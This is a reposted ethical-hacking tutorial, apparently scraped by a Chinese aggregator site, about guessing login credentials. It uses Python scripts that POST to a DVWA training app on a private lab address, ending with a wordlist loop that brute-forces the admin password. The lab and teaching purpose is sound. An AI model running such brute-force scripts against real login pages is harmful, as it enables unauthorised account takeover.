Python Ethical Hacking - WEB PENETRATION TESTING

Posted 一蓑烟雨

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Python Ethical Hacking - WEB PENETRATION TESTING相关的知识,希望对你有一定的参考价值。

Guessing Login Information on Login Pages

Our target website: http://10.0.0.45/dvwa/login.php

 

 

#!/usr/bin/env python

import requests

target_url = "http://10.0.0.45/dvwa/login.php"
data_dict = {"username": "dfdfddfd", "password": "1234", "Login": "submit"}
response = requests.post(target_url, data = data_dict)
print(response.content.decode())

Execute the Python Script.

 

 

#!/usr/bin/env python

import requests

target_url = "http://10.0.0.45/dvwa/login.php"
data_dict = {"username": "admin", "password": "password", "Login": "submit"}
response = requests.post(target_url, data = data_dict)
print(response.content.decode())

 

 

#!/usr/bin/env python

import requests

target_url = "http://10.0.0.45/dvwa/login.php"
data_dict = {"username": "admin", "password": "", "Login": "submit"}

with open("password.list", "r") as wordlist_file:
    for line in wordlist_file:
        word = line.strip()
        data_dict["password"] = word
        response = requests.post(target_url, data=data_dict)
        if "Login failed" not in response.content.decode():
            print("[+] Got the password --> " + word)
            exit()

print("[+] Reached end of line.")

 

以上是关于Python Ethical Hacking - WEB PENETRATION TESTING的主要内容,如果未能解决你的问题,请参考以下文章

Python Ethical Hacking - Malware Packaging

Python Ethical Hacking - Malware Packaging

Python Ethical Hacking - VULNERABILITY SCANNER

Python Ethical Hacking - VULNERABILITY SCANNER

Python Ethical Hacking - VULNERABILITY SCANNER

Python Ethical Hacking - VULNERABILITY SCANNER